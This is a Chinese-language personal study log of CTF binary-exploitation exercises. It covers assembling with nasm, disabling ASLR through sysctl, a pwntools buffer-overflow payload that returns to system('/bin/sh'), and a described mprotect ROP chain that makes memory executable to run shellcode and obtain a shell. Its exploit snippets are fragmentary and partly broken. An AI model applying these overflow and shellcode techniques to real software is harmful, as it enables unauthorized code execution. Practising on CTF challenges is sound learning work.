编译汇编代码到可执行文件并执行步骤
假设文件名字是flag.asm
在linux中,先nasm -f elf flag.asm -o flag.o
然后再ld -m elf_i386 -o flag flag.o
然后就可以了,找个时间看看,nasm的用法
修改aslr参数值:sudo sysctl -w kernel.randomize_va_space=0#这是修改为0
p.sendline(shellcode.ljust(140,b'a')+p32(buf_addr)这也是个合理的输入
p39,
找到/bin/sh,system的字符,思路就明确了
08048750#binsh
0804829D#system
buf到r有22个
编写exp
from pwn import *
p.progress("./pwm1")
payload="a"*22+0x804829D+p32(0)+p32(0x8048750)
p.sendline(payload)
p.interactive()
0x8048758
md,白忙活了,system地址错了,而且想复杂了,但好歹解决了
signal(11, (__sighandler_t)sigsegv_handler);注意这东西,当发生对存储的无效访问时,会把stderr打印输出,也就是flag
哦,对了,有点要记住,在开头要用(context.log_level='debug')来把模式设定为调试
呃,到pwn49了,碰到个新东西= =,叫做mprotect,看不懂这玩意,百度!
mprotect()函数可以修改调用进程内存页的保护属性,如果调用进程尝试以违反保护属性的方式访问该内存,则内核会发出一个SIGSEGV信号给该进程。
include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);
addr:修改保护属性区域的起始地址,addr必须是一个内存页的起始地址,简而言之为页大小(一般是 4KB == 4096字节)整数倍。
len:被修改保护属性区域的长度,最好为页大小整数倍。修改区域范围[addr, addr+len-1]。
prot:可以取以下几个值,并可以用“|”将几个属性结合起来使用:
1)PROT_READ:内存段可读;
2)PROT_WRITE:内存段可写;
3)PROT_EXEC:内存段可执行;
4)PROT_NONE:内存段不可访问。
返回值:0;成功,-1;失败(并且errno被设置)
1)EACCES:无法设置内存段的保护属性。当通过 mmap(2) 映射一个文件为只读权限时,接着使用 mprotect() 标志为 PROT_WRITE这种情况就会发生。
2)EINVAL:addr不是有效指针,或者不是系统页大小的倍数。
3)ENOMEM:内核内部的结构体无法分配。
呃,有点泛啊,但是倒是了解了这个干嘛用的,就是用来修改某个内存的权限,但是发现感觉还是不太懂,干脆去看wp了= =
在wp找到了这个,让我明白了用法如下:
嗯,然后开始写了,题目就是让我先溢出到这个函数,然后修改某个地方的内存的权限,然后执行。
我突然就想到了shellcode,试试能不能修改read的函数内读入参数的内存的权限,然后输入机械码不就得了,开始尝试,呃,mprotect好像要3个参数,开找寄存器,找到合适的0x8056794,然后按照需要填写的参数填入,emmmm应该是,先是目标地址,再是长度,再是权限,根据之前那张图,找段表,找到开始地址0x80da000
然后1000,然后是改为7
然后是返回到read地址,呃,read又有三个参数,再次调用之前那个,然后第一个是0,后面随便填上刚刚修改过内存的参数。再按照shellcode里面那样写个机械码。ok完事,运行,得到shell。